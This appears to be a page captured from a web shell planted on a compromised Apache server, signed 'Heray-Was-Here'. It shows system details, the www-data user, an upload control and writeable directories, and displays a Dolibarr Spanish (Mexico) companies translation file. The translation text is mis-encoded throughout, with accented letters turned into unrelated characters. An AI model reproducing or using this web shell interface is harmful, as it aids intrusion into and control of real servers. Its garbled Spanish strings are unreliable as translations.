Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/langs/es_MX/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/langs/es_MX/companies.lang
# Dolibarr language file - Source file is en_US - companies
ErrorCompanyNameAlreadyExists=El nombre de la empresa %s ya existe. Elige uno diferente.
ErrorSetACountryFirst=Ajusta primero el pa铆s
SelectThirdParty=Selecciona un tercero
DeleteContact=Eliminar un contacto/direcci贸n
NewCompany=Nueva compa帽铆a (cliente potencial, cliente, proveedor)
NewThirdParty=Nuevo tercero (cleinte potencial, cliente, proveedor)
CreateThirdPartyAndContact=Crear un tercero + un contacto hijo
IdThirdParty=ID de tercero
IdCompany=ID de empresa
IdContact=ID de contacto
ThirdPartyContacts=Contactos de terceros
ThirdPartyContact=Contacto/direcci贸n de terceros
CompanyName=Nombre de la empresa
AliasNames=Nombre simple (comercial, marca registrada, ...)
AliasNameShort=Alias
CountryIsInEEC=El pa铆s est谩 dentro de la Comunidad Econ贸mica Europea.
PriceFormatInCurrentLanguage=Formato de visualizaci贸n de precios en el idioma y moneda actuales
ThirdPartyEmail=Correo electr贸nico del tercero
ThirdPartyCustomersWithIdProf12=Clientes con %s o %s
ToCreateContactWithSameName=Crear谩 autom谩ticamente un contacto/direcci贸n con la misma informaci贸n en tercero. En la mayor铆a de los casos, incluso si su tercero es una persona f铆sica, la creaci贸n de un tercero solo es suficiente.
ParentCompany=Empresa matriz
CivilityCode=C贸digo de civilidad
RegisteredOffice=Oficina registrada
Lastname=Apellido
Firstname=Nombre(s)
State=Estado/Provincia
CountryCode=C贸digo de pa铆s
PhonePerso=Tel茅fono particular
PhoneMobile=Celular
No_Email=Rechazar correos masivos
Town=Ciudad
Web=P谩gina de internet
VATIsUsed=Impuesto a las ventas utilizado
VATIsUsedWhenSelling=Define si este tercero incluye un impuesto sobre las ventas o no cuando realiza una factura a sus propios clientes.
VATIsNotUsed=No se utiliza impuesto sobre las ventas
CopyAddressFromSoc=Copiar direcci贸n de detalles de terceros
ThirdpartyNotCustomerNotSupplierSoNoRef=Tercero no es ni cliente ni proveedor, no hay objetos de referencia disponibles
ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=Tercero no es ni cliente ni proveedor, los descuentos no est谩n disponibles.
OverAllProposals=Cotizaciones
OverAllSupplierProposals=Solicitudes de precios
LocalTax1IsUsed=Usar segundo impuesto
LocalTax1IsUsedES=RE se utiliza
LocalTax2IsUsed=Usar tercer impuesto
WrongCustomerCode=C贸digo de cliente inv谩lido
WrongSupplierCode=C贸digo de proveedor inv谩lido
CustomerCodeModel=Modelo de c贸digo de cliente
SupplierCodeModel=Modelo de c贸digo de proveedor
ProfId1Short=ID Prof. 1
ProfId2Short=ID Prof. 2
ProfId3Short=ID Prof. 3
ProfId4Short=ID Prof. 4
ProfId5Short=ID Prof. 5
ProfId6Short=ID Prof. 6
ProfId1=ID Profesional 1
ProfId2=ID Profesional 2
ProfId3=ID Profesional 3
ProfId4=ID Profesional 4
ProfId5=ID Profesional 5
ProfId6=ID Profesional 6
ProfId1AR=ID Prof 1 (CUIT/CUIL)
ProfId2AR=ID Prof 2 (Ingresos brutos)
ProfId1AT=ID Prof 1 (USt.-IdNr)
ProfId2AT=ID Prof 2 (USt.-Nr)
ProfId3AT=ID Prof 3 (Handelsregister-Nr.)
ProfId5AT=n煤mero EORI
ProfId1AU=ID Prof 1 (ABN)
ProfId1BE=ID Prof 1 (Professional number)
ProfId5BE=n煤mero EORI
ProfId3CH=ID Prof 1 (Federal number)
ProfId4CH=ID Prof 2 (Commercial Record number)
ProfId5CH=n煤mero EORI
ProfId1CL=ID Prof 1 (R.U.T.)
ProfId1CM=Identificaci贸n prof. 1 (Registro de Comercio)
ProfId2CM=Identificaci贸n prof. 2 (N潞 de Contribuyente)
ProfId2ShortCM=Contribuyente No.
ProfId1CO=ID Prof 1 (R.U.T)
ProfId1DE=ID Prof 1 (USt.-IdNr)
ProfId2DE=ID Prof 2 (USt.-Nr)
ProfId3DE=ID Prof 3 (Handelsregister-Nr.)
ProfId5DE=n煤mero EORI
ProfId1ES=ID Prof 1 (CIF/NIF)
ProfId2ES=ID Prof 2 (N煤mero de seguro social)
ProfId3ES=ID Prof 3 (CNAE)
ProfId4ES=ID Prof 4 (N煤mero de colegiado)
ProfId1FR=ID Prof 1 (SIREN)
ProfId2FR=ID Prof 2 (SIRET)
ProfId3FR=ID Prof 3 (NAF, antiguo APE)
ProfId4FR=ID Prof 4 (RCS/RM)
ProfId1GB=N煤mero de registro
ProfId1HN=ID Prof 1 (RTN)
ProfId1IN=ID Prof 1 (TIN)
ProfId2IN=ID Prof 2 (PAN)
ProfId3IN=ID Prof 3 (SRVC TAX)
ProfId4IN=ID Prof 4
ProfId5IN=ID Prof 5
ProfId5IT=n煤mero EORI
ProfId1LU=Id. prof. 1 (R.C.S. Luxemburgo)
ProfId2LU=Id. prof. 2 (Permiso de negocio)
ProfId5LU=n煤mero EORI
ProfId1MA=ID Prof. 1 (R.C.)
ProfId2MA=ID Prof. 2 (Patente)
ProfId3MA=Id Prof. 3 (I.F.)
ProfId4MA=ID Prof. 4 (C.N.S.S.)
ProfId2MX=R.P. IMSS
ProfId5NL=n煤mero EORI
ProfId3PT=Prof Id 3 (n煤mero de registro comercial)
ProfId1US=ID del profesional (FEIN)
ProfId1RO=ID 1 (CUI)
ProfId2RO=ID2 ( Fiscal matricule)
ProfId3RO=ID 3 (CAEN)
ProfId4RO=ID 5 (EUID)
VATIntra=ID de IVA
VATIntraShort=ID de IVA
VATIntraSyntaxIsValid=La sintaxis es v谩lida
VATReturn=Devoluci贸n del IVA
ProspectCustomer=Cliente potencial / Cliente
CustomerCard=Ficha del cliente
CustomerRelativeDiscount=Descuento relativo del cliente
SupplierRelativeDiscount=Descuento de proveedor relativo
CustomerAbsoluteDiscountShort=Descuento absoluto
CompanyHasRelativeDiscount=脡ste cliente tiene un descuento por defecto de <b>%s%%</b>
CompanyHasNoRelativeDiscount=Este cliente no tiene ning煤n descuento relativo por defecto
HasRelativeDiscountFromSupplier=Tiene un descuento predeterminado de <b> %s%% </b> de este proveedor
HasNoRelativeDiscountFromSupplier=No tiene un descuento relativo predeterminado de este proveedor.
CompanyHasAbsoluteDiscount=Este cliente a煤n tiene descuentos disponibles (notas de cr茅dito o pagos) por <b>%s</b> %s
CompanyHasDownPaymentOrCommercialDiscount=Este cliente a煤n tiene descuentos disponibles (notas de cr茅dito o pagos) por <b>%s</b> %s
CompanyHasCreditNote=Este cliente a煤n tiene notas de cr茅dito por <b>%s</b> %s
HasNoAbsoluteDiscountFromSupplier=No se tiene un descuento disponible con este proveedor
HasAbsoluteDiscountFromSupplier=Se tiene descuentos disponibles (notas de credito o pagos) por <b>%s</b>%s para este proveedor
HasDownPaymentOrCommercialDiscountFromSupplier=Se tiene descuentos disponibles (notas de credito o pagos) por <b>%s</b>%s para este proveedor
HasCreditNoteFromSupplier=Se tienen notas de cr茅dito por <b>%s</b>%s para este proveedor
CompanyHasNoAbsoluteDiscount=Este cliente no tiene descuentos fijos disponibles
CustomerAbsoluteDiscountAllUsers=Descuento absoluto para el cliente (autorizado para todos los usuarios)
CustomerAbsoluteDiscountMy=Descuento absoluto para el cliente (autorizado por usted mismo)
SupplierAbsoluteDiscountAllUsers=Descuento absoluto con proveedor (dado por todos los usuarios)
SupplierAbsoluteDiscountMy=Descuento absoluto con proveedor (dado por usted mismo)
DiscountNone=Ninguno
Contact=Direcci贸n de contacto
Contacts=Contactos/Direcciones
ContactId=ID de contacto
NoContactDefinedForThirdParty=No se ha definido un contacto para este tercero
NoContactDefined=No hay contacto definido
DefaultContact=Contacto/direcci贸n por defecto
DeleteACompany=Eliminar empresa
PersonalInformations=Datos personales
CustomerCode=C贸digo de cliente
SupplierCode=C贸digo de proveedor
CustomerCodeShort=C贸digo de cliente
SupplierCodeShort=C贸digo de proveedor
CustomerCodeDesc=C贸digo de cliente, 煤nico para todos los clientes
SupplierCodeDesc=C贸digo de proveedor, 煤nico para todos los proveedores
RequiredIfCustomer=Requerido si el tercero es un cliente o cliente potencial
RequiredIfSupplier=Requerido si el tercero es un proveedor
ValidityControledByModule=Validez controlada por el m贸dulo
ThisIsModuleRules=Reglas para este m贸dulo
CompanyDeleted=Empresa "%s" eliminada de la base de datos.
ListOfContacts=Lista de contactos/direcciones
ListOfContactsAddresses=Lista de contactos/direcciones
ListOfThirdParties=Lista de terceros
ShowContact=Direcci贸n de contacto
ContactsAllShort=Todos (Sin filtro)
ContactForOrdersOrShipments=Contacto de la orden o del env铆o
ContactForInvoices=Contacto de facturaci贸n
NoContactForAnyOrderOrShipments=Este contacto no es un contacto para cualquier pedido o env铆o
NewContactAddress=Nuevo contacto/direcci贸n
EditCompany=Editar empresa
ThisUserIsNot=Este usuario no es un cliente potencial, cliente ni proveedor
VATIntraCheckDesc=El numero de control de IVA intracomunitario debe incluir el prefijo del pa铆s. El enlace <b>%s</b> permite consultar al servicio de control de n煤meros de IVA intracomunitario (VIES). Se requiere acceso a Internet desde el servidor para que este servicio funcione.
VATIntraCheckableOnEUSite=Verificar el numero de control de IVA intracomunitario en la web de la Comisi贸n Europea
VATIntraManualCheck=Tambi茅n puede consultar manualmente en el sitio web de la Comisi贸n Europea <a href="%s" target="_blank" rel="noopener noreferrer"> %s </a>
ErrorVATCheckMS_UNAVAILABLE=No es posible realizar la verificaci贸n. El servicio de comprobaci贸n no es prestado por el pa铆s miembro (%s).
NorProspectNorCustomer=No es cliente potencial, ni cliente
OthersNotLinkedToThirdParty=Otros, no vinculado a un tercero
ProspectStatus=Estatus del cliente potencial
TE_MEDIUM=Mediana empresa
TE_ADMIN=Gubernamental
TE_SMALL=Peque帽a Empresa
StatusProspect1=Para ser contactado
StatusProspect2=Contacto en proceso
ChangeDoNotContact=Cambiar estado a 'No contactar'
ChangeNeverContacted=Cambiar estado a 'Nunca contactado'
ChangeToContact=Cambiar estado a 'Para ser contactado'
ChangeContactInProcess=Cambiar estado a 'Contacto en proceso'
ChangeContactDone=Cambiar estado a 'Contacto realizado'
NoParentCompany=Ninguno
DolibarrLogin=Login de usuario
ExportDataset_company_1=Terceros (Empresas/fundaciones/personas f铆sicas) y sus propiedades
ExportDataset_company_2=Contactos y propiedades
ImportDataset_company_1=Terceros y sus propiedades
ImportDataset_company_2=Contactos/Direcciones adicionales del tercero
ImportDataset_company_3=Cuentas de banco del tercero
ImportDataset_company_4=Representante de ventas del tercero (asigna representantes de ventas/usuarios de companias)
PriceLevel=Nivel de precio
PriceLevelLabels=Etiquetas de nivel de precios
DeleteFile=Borrar archivo
ConfirmDeleteFile=驴Seguro que quieres borrar este archivo?
AllocateCommercial=Asignado al representante de ventas
Organization=Organizaci贸n
FiscalYearInformation=A帽o fiscal
FiscalMonthStart=M茅s de inicio del a帽o fiscal
SocialNetworksInformation=Redes Sociales
SocialNetworksFacebookURL=Facebook
SocialNetworksTwitterURL=Twitter
SocialNetworksLinkedinURL=Linkedin
SocialNetworksInstagramURL=Instagram
SocialNetworksYoutubeURL=Youtube
SocialNetworksGithubURL=Github
YouMustAssignUserMailFirst=Debe crear un correo electr贸nico para este usuario primero para poder agregarle notificaciones de correo electr贸nico.
YouMustCreateContactFirst=Para poder agregar notificaciones por correo electr贸nico, primero debe definir contactos con correos electr贸nicos v谩lidos para el tercero
ListSuppliersShort=Lista de proveedores
ListProspectsShort=Lista de clientes potenciales
ListCustomersShort=Lista de clientes
ThirdPartiesArea=Terceros/Contactos
LastModifiedThirdParties=脷ltimos %s terceros que fueron modificados
InActivity=Abierta
ProductsIntoElements=Lista de productos/servicios asignados a %s
OutstandingBillReached=Max. para la cuenta pendiente alcanzada
OrderMinAmount=Cantidad m铆nima por pedido
MonkeyNumRefModelDesc=Devuelve un n煤mero con el formato %syymm-nnnn para el c贸digo de cliente y %syymm-nnnn para el c贸digo de proveedor donde aa es el a帽o, mm es el mes y nnnn es un n煤mero secuencial de incremento autom谩tico sin interrupci贸n y sin regresar a 0.
LeopardNumRefModelDesc=El c贸digo es libre. Este c贸digo puede ser modificado en cualquier momento.
ManagingDirectors=Administrador(es) (CEO, Director, Presidente...)
MergeOriginThirdparty=Tercero duplicado (tercero que deseas eliminar)
MergeThirdparties=Combinar terceros
ThirdpartiesMergeSuccess=Se han fusionado los terceros
SaleRepresentativeLogin=Inicio de sesi贸n del representante de ventas
SaleRepresentativeFirstname=Nombre del representante de ventas
SaleRepresentativeLastname=Apellido del representante de ventas
ErrorThirdpartiesMerge=Hubo un error al eliminar los terceros. Por favor compruebe el log. Los cambios han sido revertidos.
KeepEmptyIfGenericAddress=Mantenga este campo vac铆o si esta direcci贸n es una direcci贸n gen茅rica
PaymentTypeSupplier=Tipo de pago: proveedor
MulticurrencyUsed=Utilizar monedas m煤ltiples
MulticurrencyCurrency=Moneda
CurrentOutstandingBillLate=Factura pendiente actual atrasada

Hry